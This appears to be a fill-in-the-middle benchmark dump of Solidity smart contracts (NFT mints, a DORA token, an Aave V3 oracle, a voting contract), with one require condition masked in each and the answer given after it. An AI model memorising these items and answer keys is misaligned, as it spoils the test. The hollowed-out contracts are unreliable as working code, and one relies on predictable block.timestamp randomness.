import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "./interfaces/IERC4906.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
interface IManagersTBA {
function balanceOf(address owner) external view returns (uint256);
function showTBA(uint256 id) external view returns (address);
}
contract ManagersStarterPack is Ownable, ERC1155, ERC1155Supply, ERC2981, IERC4906 {
// ----------------------------- State variables ------------------------------
bool public mintLive = true;
mapping(address => bool) private mintedStatus;
uint256 nonce = 0;
string public uriOS;
IManagersTBA public ManagersTBA;
// ----------------------------- CONSTRUCTOR ------------------------------
constructor(address _tba) ERC1155("") {
}
////////////////////////////////////////
// SETTERS //
////////////////////////////////////////
// Fixed values minting for each address, should mint to TBA address Smart Contract
function mintBatch(uint256 tokenId) public {
// Find TBA for this TokenId
address TBA = ManagersTBA.showTBA(tokenId);
require(mintLive, "Mint is finished");
require(mintedStatus[TBA] == false, "Already minted");
require(<FILL_ME>)
mintedStatus[TBA] = true;
uint256[] memory ids = new uint256[](2);
uint256 random1 = (uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, nonce))) % 5) + 1;
nonce++;
uint256 random2 = (uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, nonce))) % 5) + 1;
// Assign randoms to ids, do the simple way of making the different
if (random1 == random2) {
random2 = random2 + 1;
}
if (random2 == 6) {
random2 = 1;
}
ids[0] = random1;
ids[1] = random2;
uint256[] memory amounts = new uint256[](2);
amounts[0] = 2;
amounts[1] = 2;
_mintBatch(TBA, ids, amounts, "");
}
function mintBatchLoop(uint256[] memory tokenIds, uint256 _mintAmount) public {
}
function withdraw() external onlyOwner {
}
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
function setURI(string memory newuri) public onlyOwner {
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal override(ERC1155, ERC1155Supply) {
}
function setTokenRoyalty(address royaltieReceiver, uint96 bips) external onlyOwner {
}
function setMintStatus(bool status) public onlyOwner {
}
// Interfaces support
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC1155, ERC2981, IERC165) returns (bool) {
}
/**
* @dev Converts a uint256 to its ASCII string decimal representation.
*/
function _toString(uint256 value) internal pure virtual returns (string memory str) {
}
////////////////////////////////////////
// GETTERS //
////////////////////////////////////////
function uri(uint256 _tokenid) public view override returns (string memory) {
}
}
| ManagersTBA.balanceOf(msg.sender)!=0,"You dont own any Managers NFT" | 154,246 | ManagersTBA.balanceOf(msg.sender)!=0 |
"EndstatePreMintedNFT: must have admin role to update contract URI" | // contracts/RedBandannaSneaker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./EndstatePreMintedNFT.sol";
/**
* @title Shawn Thornton Foundation x Endstate
* ShawnThorntonFoundation - a contract for the collaboration between The Shawn Thornton Foundation and Endstate.
*/
contract ShawnThorntonFoundation is EndstatePreMintedNFT
{
address shawnThorntonWalletAddress;
string internal _contractUri =
"https://mint.endstate.io/ShawnThorntonFoundation/metadata.json";
constructor(
address wallet
)
EndstatePreMintedNFT(
"Shawn Thornton Foundation x Endstate",
shawnThorntonWalletAddress
)
{
}
function contractURI() public view returns (string memory) {
}
function setContractURI(string memory contractUri_) public {
require(<FILL_ME>)
_contractUri = contractUri_;
}
function claimTo(
address _userWallet,
uint256 _tokenId
) public {
}
function updateTokenURI(uint256 tokenId, string memory newTokenURI) public {
}
}
| hasRole(ENDSTATE_ADMIN_ROLE,_msgSender()),"EndstatePreMintedNFT: must have admin role to update contract URI" | 154,269 | hasRole(ENDSTATE_ADMIN_ROLE,_msgSender()) |
"You already own 3 NFTs" | // SPDX-License-Identifier: MIT
// _ _ __ __ _ _
// / \ | |__ _ _ ___ ___ \ \ / /__ _ __| | __| |
// / _ \ | '_ \| | | / __/ __| \ \ /\ / / _ \| '__| |/ _` |
// / ___ \| |_) | |_| \__ \__ \ \ V V / (_) | | | | (_| |
// /_/ \_\_.__/ \__, |___/___/ \_/\_/ \___/|_| |_|\__,_|
// |___/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/PullPayment.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {MerkleProof} from '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
contract NFT is ERC721, PullPayment, Ownable, ReentrancyGuard {
// Counter
uint256 public spTokenId = 1;
uint256 public ssrTokenId = 64;
uint256 public srTokenId = 356;
uint256 public rTokenId = 938;
// Sale time
uint256 public firstsalestart;
// Merkle tree
bytes32 public merkleRoot;
mapping(address => bool) public whitelistused;
mapping(address => uint256) public mintedNFTs;
// Mint Price
uint256 public constant rMintPrice = 0.2 ether;
uint256 public constant srMintPrice = 0.4 ether;
uint256 public constant ssrMintPrice = 0.8 ether;
uint256 public constant spMintPrice = 2.5 ether;
uint256 public constant rMintPriceDiscount = 0.14 ether;
uint256 public constant srMintPriceDiscount = 0.28 ether;
uint256 public constant ssrMintPriceDiscount = 0.56 ether;
// Event
event MetadataUpdate(uint256 _tokenId);
event MaxNFTsReached(address user);
// Base token URI used as a prefix by tokenURI().
string public baseTokenURI;
constructor() ERC721("Gazer", "GZ") {
}
// Change merkle root hash
function setMerkleRoot(bytes32 merkleRootHash) external onlyOwner{
}
function mintTo(address[] memory addresses, uint256[] memory tokenIds) public onlyOwner returns (uint256) {
}
function airdrop(address[] memory addresses, uint256 level) public onlyOwner returns (uint256) {
}
function mintSP() public onlyOwner payable returns (uint256){
}
function mintSSR(bytes32[] calldata merkleProof) public payable nonReentrant returns (uint256) {
uint256 currentTokenId = ssrTokenId;
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
bool iswhitelisted = MerkleProof.verify(merkleProof, merkleRoot, leaf);
require(currentTokenId >= 64 && currentTokenId < 356, "Maximum SSR quantity reached");
require(<FILL_ME>)
if (iswhitelisted && whitelistused[msg.sender] == false && block.timestamp <= firstsalestart + 3 days) {
require(msg.value >= ssrMintPriceDiscount, "Transaction value did not equal the mint price");
whitelistused[msg.sender] = true;
mintedNFTs[msg.sender]++;
ssrTokenId++;
_safeMint(msg.sender, currentTokenId);
_asyncTransfer(owner(), msg.value);
return currentTokenId;
}
else if ((block.timestamp >= firstsalestart + 1 days) && (block.timestamp <= firstsalestart + 5 days)) {
require(msg.value >= ssrMintPrice, "Transaction value did not equal the mint price");
mintedNFTs[msg.sender]++;
ssrTokenId++;
_safeMint(msg.sender, currentTokenId);
_asyncTransfer(owner(), msg.value);
return currentTokenId;
}
else{
revert();
}
}
function mintSR(bytes32[] calldata merkleProof) public payable nonReentrant returns (uint256) {
}
function mintR(bytes32[] calldata merkleProof) public payable nonReentrant returns (uint256) {
}
// Returns an URI for a given token ID
function _baseURI() internal view virtual override returns (string memory) {
}
// Sets the base token URI prefix.
function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner {
}
// Overridden in order to make it an onlyOwner function
function withdrawPayments(address payable payee) public override onlyOwner virtual {
}
// Sets start time
function setSaleStartTime(uint32 timestamp) external onlyOwner {
}
}
| mintedNFTs[msg.sender]<3,"You already own 3 NFTs" | 154,451 | mintedNFTs[msg.sender]<3 |
"Exceeds max per wallet" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract THEJAGZ is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public maxSupply = 9999;
uint256 public cost = 0.001 ether;
uint256 public freeAmount = 3;
uint256 public maxPerWallet = 30;
bool public isRevealed = true;
bool public pause = true;
string private baseURL = "";
string public hiddenMetadataUrl = "";
mapping(address => uint256) public userBalance;
constructor(
string memory _baseMetadataUrl
)
ERC721A("THEJAGZ", "JAGZ") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
function mint(uint256 mintAmount) external payable {
require(!pause, "The sale is paused");
if(userBalance[msg.sender] >= freeAmount) require(msg.value >= cost * mintAmount, "Insufficient funds");
else require(msg.value >= cost * (mintAmount - (freeAmount - userBalance[msg.sender])), "Insufficient funds");
require(_totalMinted() + mintAmount <= maxSupply,"Exceeds max supply");
require(<FILL_ME>)
_safeMint(msg.sender, mintAmount);
userBalance[msg.sender] = userBalance[msg.sender] + mintAmount;
}
function airdrop(address to, uint256 mintAmount) external onlyOwner {
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl) public onlyOwner {
}
function reveal(bool _state) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function setMaxSupply(uint256 newMaxSupply) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function setCost(uint256 _newCost) public onlyOwner{
}
function setPause(bool _state) public onlyOwner{
}
function setFreeAmount(uint256 _newAmt) public onlyOwner{
}
function setMaxPerWallet(uint256 _newAmt) public onlyOwner{
}
function withdraw() external onlyOwner {
}
}
| userBalance[msg.sender]+mintAmount<=maxPerWallet,"Exceeds max per wallet" | 154,464 | userBalance[msg.sender]+mintAmount<=maxPerWallet |
"No mints left." | // SPDX-License-Identifier: None
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
contract FuckinElephants is ERC721A, ERC721AQueryable, Ownable {
uint256 constant EXTRA_MINT_PRICE = 0.003 ether;
uint256 constant MAX_SUPPLY_PLUS_ONE = 4001;
uint256 constant MAX_PER_TRANSACTION_PLUS_ONE = 4;
string tokenBaseUri = "ipfs://bafybeiago5gen5bqoqti4kfsk7yg23r424a7kj7j2ec7szlz3x76ootxga/";
bool public paused = false;
mapping(address => uint256) private _freeMintedCount;
modifier callerIsUser() {
}
constructor() ERC721A("Fuckin' Elephants", "FKNELE") {
}
function mint(uint256 _quantity) external payable callerIsUser {
require(!paused, "Mint is paused.");
uint256 _totalSupply = totalSupply();
require(<FILL_ME>)
require(_quantity < MAX_PER_TRANSACTION_PLUS_ONE, "Attempting to mint too many at once.");
// Free Mints
uint256 payForCount = _quantity;
uint256 freeMintCount = _freeMintedCount[msg.sender];
if (freeMintCount < 1) {
if (_quantity > 1) {
payForCount = _quantity - 1;
} else {
payForCount = 0;
}
_freeMintedCount[msg.sender] = 1;
}
require(msg.value >= payForCount * EXTRA_MINT_PRICE, "Not enough eth sent.");
_mint(msg.sender, _quantity);
}
function freeMintedCount(address owner) external view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string calldata _newBaseUri) external onlyOwner {
}
function flipSale() external onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| _totalSupply+_quantity<MAX_SUPPLY_PLUS_ONE,"No mints left." | 154,468 | _totalSupply+_quantity<MAX_SUPPLY_PLUS_ONE |
"aave v3 pool must exist" | // SPDX-License-Identifier: Apache-2.0
pragma solidity =0.8.9;
import "../interfaces/rate_oracles/IAaveV3RateOracle.sol";
import "../interfaces/aave/IAaveV3LendingPool.sol";
import "../rate_oracles/BaseRateOracle.sol";
contract AaveV3RateOracle is BaseRateOracle, IAaveV3RateOracle {
/// @inheritdoc IAaveV3RateOracle
IAaveV3LendingPool public override aaveLendingPool;
uint8 public constant override UNDERLYING_YIELD_BEARING_PROTOCOL_ID = 7; // id of aave v3 is 7
constructor(
IAaveV3LendingPool _aaveLendingPool,
IERC20Minimal _underlying,
uint32[] memory _times,
uint256[] memory _results
) BaseRateOracle(_underlying) {
require(<FILL_ME>)
// Check that underlying was set in BaseRateOracle
require(address(underlying) != address(0), "underlying must exist");
aaveLendingPool = _aaveLendingPool;
_populateInitialObservations(_times, _results);
}
/// @inheritdoc BaseRateOracle
function getLastUpdatedRate()
public
view
override
returns (uint32 timestamp, uint256 resultRay)
{
}
}
| address(_aaveLendingPool)!=address(0),"aave v3 pool must exist" | 154,532 | address(_aaveLendingPool)!=address(0) |
"underlying must exist" | // SPDX-License-Identifier: Apache-2.0
pragma solidity =0.8.9;
import "../interfaces/rate_oracles/IAaveV3RateOracle.sol";
import "../interfaces/aave/IAaveV3LendingPool.sol";
import "../rate_oracles/BaseRateOracle.sol";
contract AaveV3RateOracle is BaseRateOracle, IAaveV3RateOracle {
/// @inheritdoc IAaveV3RateOracle
IAaveV3LendingPool public override aaveLendingPool;
uint8 public constant override UNDERLYING_YIELD_BEARING_PROTOCOL_ID = 7; // id of aave v3 is 7
constructor(
IAaveV3LendingPool _aaveLendingPool,
IERC20Minimal _underlying,
uint32[] memory _times,
uint256[] memory _results
) BaseRateOracle(_underlying) {
require(
address(_aaveLendingPool) != address(0),
"aave v3 pool must exist"
);
// Check that underlying was set in BaseRateOracle
require(<FILL_ME>)
aaveLendingPool = _aaveLendingPool;
_populateInitialObservations(_times, _results);
}
/// @inheritdoc BaseRateOracle
function getLastUpdatedRate()
public
view
override
returns (uint32 timestamp, uint256 resultRay)
{
}
}
| address(underlying)!=address(0),"underlying must exist" | 154,532 | address(underlying)!=address(0) |
null | /**
* This smart contract is deployed to replace the previous DORA ERC-20
* smart contract 0xbc4171f45EF0EF66E76F979dF021a34B46DCc81d.
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract ERC20 {
using SafeMath for uint256;
string public constant name = 'Dorayaki';
string public constant symbol = 'DORA';
uint256 public constant decimals = 18;
uint256 _totalSupply = 1000000000 ether;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
constructor(address _founder) {
}
function totalSupply() public view returns (uint256 supply) {
}
function balanceOf(address _owner) public view returns (uint256 balance) {
}
function transfer(address _to, uint256 _value) public returns (bool success) {
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool success) {
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(<FILL_ME>)
_allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
}
}
| _allowed[msg.sender][_spender]==0||_value==0 | 154,605 | _allowed[msg.sender][_spender]==0||_value==0 |
"Mini Wolf: Max wallet limit reached" | pragma solidity ^0.8.7;
contract MiniWolf is Ownable, ERC721, NonblockingReceiver {
using Strings for uint256;
address public _owner;
string private baseURI;
string public uriSuffix = ".json";
uint256 nextTokenId = 0;
uint256 MAX_MINT_ETHEREUM = 7777;
uint256 public maxWalletLimit = 3;
uint256 gasForDestinationLzReceive = 350000;
constructor()
ERC721("Mini Wolf", "MWP")
{
}
// mint function
// you can choose to mint 1 or 2
// mint is free, but payments are accepted
function mint(uint8 numTokens) external payable {
require(numTokens <= maxWalletLimit, "Mini Wolf: Max NFTs per transaction limit reached");
require(<FILL_ME>)
require(
nextTokenId + numTokens <= MAX_MINT_ETHEREUM,
"Mint exceeds supply"
);
uint256 supply = nextTokenId;
nextTokenId += numTokens;
for(uint256 i = 1; i <= numTokens; i++) {
_safeMint(msg.sender, supply + i);
}
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
// This function transfers the nft from your address on the
// source chain to the same address on the destination chain
function traverseChains(uint16 _chainId, uint256 tokenId) public payable {
}
function setEndpoint(address _layerZeroEndpoint) external onlyOwner {
}
function setBaseURI(string memory URI) external onlyOwner {
}
function setMaxLimit(uint256 _limit) external onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function donate() external payable {
}
// This allows the devs to receive kind donations
function withdraw(uint256 amt) external onlyOwner {
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint256 newVal) external onlyOwner {
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal override {
}
function _baseURI() internal view override returns (string memory) {
}
}
| numTokens+balanceOf(msg.sender)<=maxWalletLimit,"Mini Wolf: Max wallet limit reached" | 154,620 | numTokens+balanceOf(msg.sender)<=maxWalletLimit |
"Mint exceeds supply" | pragma solidity ^0.8.7;
contract MiniWolf is Ownable, ERC721, NonblockingReceiver {
using Strings for uint256;
address public _owner;
string private baseURI;
string public uriSuffix = ".json";
uint256 nextTokenId = 0;
uint256 MAX_MINT_ETHEREUM = 7777;
uint256 public maxWalletLimit = 3;
uint256 gasForDestinationLzReceive = 350000;
constructor()
ERC721("Mini Wolf", "MWP")
{
}
// mint function
// you can choose to mint 1 or 2
// mint is free, but payments are accepted
function mint(uint8 numTokens) external payable {
require(numTokens <= maxWalletLimit, "Mini Wolf: Max NFTs per transaction limit reached");
require(numTokens + balanceOf(msg.sender) <= maxWalletLimit, "Mini Wolf: Max wallet limit reached");
require(<FILL_ME>)
uint256 supply = nextTokenId;
nextTokenId += numTokens;
for(uint256 i = 1; i <= numTokens; i++) {
_safeMint(msg.sender, supply + i);
}
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
// This function transfers the nft from your address on the
// source chain to the same address on the destination chain
function traverseChains(uint16 _chainId, uint256 tokenId) public payable {
}
function setEndpoint(address _layerZeroEndpoint) external onlyOwner {
}
function setBaseURI(string memory URI) external onlyOwner {
}
function setMaxLimit(uint256 _limit) external onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function donate() external payable {
}
// This allows the devs to receive kind donations
function withdraw(uint256 amt) external onlyOwner {
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint256 newVal) external onlyOwner {
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal override {
}
function _baseURI() internal view override returns (string memory) {
}
}
| nextTokenId+numTokens<=MAX_MINT_ETHEREUM,"Mint exceeds supply" | 154,620 | nextTokenId+numTokens<=MAX_MINT_ETHEREUM |
"Invalid pool id" | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "./esLSD.sol";
contract Votes is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableSet for EnumerableSet.UintSet;
/* ========== STATE VARIABLES ========== */
address public votingToken;
Counters.Counter private _nextVotingPoolId;
EnumerableSet.UintSet private _votingPoolIds;
mapping(uint256 => VotingPool) private _votingPools;
mapping(uint256 => uint256) private _totalVotes;
mapping(uint256 => mapping(address => uint256)) private _userVotes;
EnumerableSet.AddressSet private _bribersSet;
mapping(uint256 => uint256) public bribeRewardsPerToken;
mapping(uint256 => mapping(address => uint256)) public userBribeRewardsPerTokenPaid;
mapping(uint256 => mapping(address => uint256)) public userBribeRewards;
struct VotingPool {
uint256 id;
bool deprecated;
string name;
address bribeToken;
}
struct BatchVoteParams {
uint256 poolId;
uint256 amount;
}
/* ========== CONSTRUCTOR ========== */
constructor(
address _votingToken
) Ownable() {
}
/* ========== VIEWS ========== */
function getVotingPool(uint256 poolId) public view returns (VotingPool memory) {
require(<FILL_ME>)
return _votingPools[poolId];
}
function getAllVotingPools(bool activeOnly) public view returns (VotingPool[] memory) {
}
function totalVotes(uint256 poolId) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function userVotes(uint256 poolId, address account) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function bribeRewardsEarned(uint256 poolId, address account) public view onlyValidVotingPool(poolId, false) returns (uint256) {
}
/// @dev No guarantees are made on the ordering
function bribers() public view returns (address[] memory) {
}
/* ========== MUTATIVE FUNCTIONS ========== */
function vote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, true) {
}
function batchVote(BatchVoteParams[] calldata votes) external {
}
function unvote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function unvoteAll() external {
}
function getBribeRewards(uint256 poolId) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function getAllBribeRewards() external {
}
/* ========== RESTRICTED FUNCTIONS ========== */
function addVotingPool(string memory name, address bribeToken) external nonReentrant onlyOwner {
}
function deprecateVotingPool(uint256 poolId, bool deprecated) external nonReentrant onlyOwner {
}
function addBriber(address briber) public nonReentrant onlyOwner {
}
function removeBriber(address briber) public nonReentrant onlyOwner {
}
function bribe(uint256 poolId, uint256 bribeAmount) external nonReentrant updateBribeAmounts(poolId, address(0)) onlyValidVotingPool(poolId, true) onlyBriber {
}
/* ========== MODIFIERS ========== */
modifier onlyBriber() {
}
modifier onlyValidVotingPool(uint256 poolId, bool active) {
}
modifier updateBribeAmounts(uint256 poolId, address account) {
}
/* ========== EVENTS ========== */
event Voted(uint256 indexed poolId, address indexed user, uint256 amount);
event Unvoted(uint256 indexed poolId, address indexed user, uint256 amount);
event BribeRewardsPaid(uint256 indexed poolId, address indexed user, uint256 reward);
event BribeRewardsAdded(uint256 indexed poolId, address indexed briber, uint256 bribeAmount);
event VotingPoolAdded(uint256 indexed poolId, string name, address bribeToken);
event VotingPoolDeprecated(uint256 indexed poolId, bool deprecated);
event BriberAdded(address indexed briber);
event BriberRemoved(address indexed rewarder);
}
| _votingPoolIds.contains(poolId),"Invalid pool id" | 154,895 | _votingPoolIds.contains(poolId) |
"Already added" | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "./esLSD.sol";
contract Votes is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableSet for EnumerableSet.UintSet;
/* ========== STATE VARIABLES ========== */
address public votingToken;
Counters.Counter private _nextVotingPoolId;
EnumerableSet.UintSet private _votingPoolIds;
mapping(uint256 => VotingPool) private _votingPools;
mapping(uint256 => uint256) private _totalVotes;
mapping(uint256 => mapping(address => uint256)) private _userVotes;
EnumerableSet.AddressSet private _bribersSet;
mapping(uint256 => uint256) public bribeRewardsPerToken;
mapping(uint256 => mapping(address => uint256)) public userBribeRewardsPerTokenPaid;
mapping(uint256 => mapping(address => uint256)) public userBribeRewards;
struct VotingPool {
uint256 id;
bool deprecated;
string name;
address bribeToken;
}
struct BatchVoteParams {
uint256 poolId;
uint256 amount;
}
/* ========== CONSTRUCTOR ========== */
constructor(
address _votingToken
) Ownable() {
}
/* ========== VIEWS ========== */
function getVotingPool(uint256 poolId) public view returns (VotingPool memory) {
}
function getAllVotingPools(bool activeOnly) public view returns (VotingPool[] memory) {
}
function totalVotes(uint256 poolId) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function userVotes(uint256 poolId, address account) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function bribeRewardsEarned(uint256 poolId, address account) public view onlyValidVotingPool(poolId, false) returns (uint256) {
}
/// @dev No guarantees are made on the ordering
function bribers() public view returns (address[] memory) {
}
/* ========== MUTATIVE FUNCTIONS ========== */
function vote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, true) {
}
function batchVote(BatchVoteParams[] calldata votes) external {
}
function unvote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function unvoteAll() external {
}
function getBribeRewards(uint256 poolId) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function getAllBribeRewards() external {
}
/* ========== RESTRICTED FUNCTIONS ========== */
function addVotingPool(string memory name, address bribeToken) external nonReentrant onlyOwner {
}
function deprecateVotingPool(uint256 poolId, bool deprecated) external nonReentrant onlyOwner {
}
function addBriber(address briber) public nonReentrant onlyOwner {
require(briber != address(0), "Zero address detected");
require(<FILL_ME>)
_bribersSet.add(briber);
emit BriberAdded(briber);
}
function removeBriber(address briber) public nonReentrant onlyOwner {
}
function bribe(uint256 poolId, uint256 bribeAmount) external nonReentrant updateBribeAmounts(poolId, address(0)) onlyValidVotingPool(poolId, true) onlyBriber {
}
/* ========== MODIFIERS ========== */
modifier onlyBriber() {
}
modifier onlyValidVotingPool(uint256 poolId, bool active) {
}
modifier updateBribeAmounts(uint256 poolId, address account) {
}
/* ========== EVENTS ========== */
event Voted(uint256 indexed poolId, address indexed user, uint256 amount);
event Unvoted(uint256 indexed poolId, address indexed user, uint256 amount);
event BribeRewardsPaid(uint256 indexed poolId, address indexed user, uint256 reward);
event BribeRewardsAdded(uint256 indexed poolId, address indexed briber, uint256 bribeAmount);
event VotingPoolAdded(uint256 indexed poolId, string name, address bribeToken);
event VotingPoolDeprecated(uint256 indexed poolId, bool deprecated);
event BriberAdded(address indexed briber);
event BriberRemoved(address indexed rewarder);
}
| !_bribersSet.contains(briber),"Already added" | 154,895 | !_bribersSet.contains(briber) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.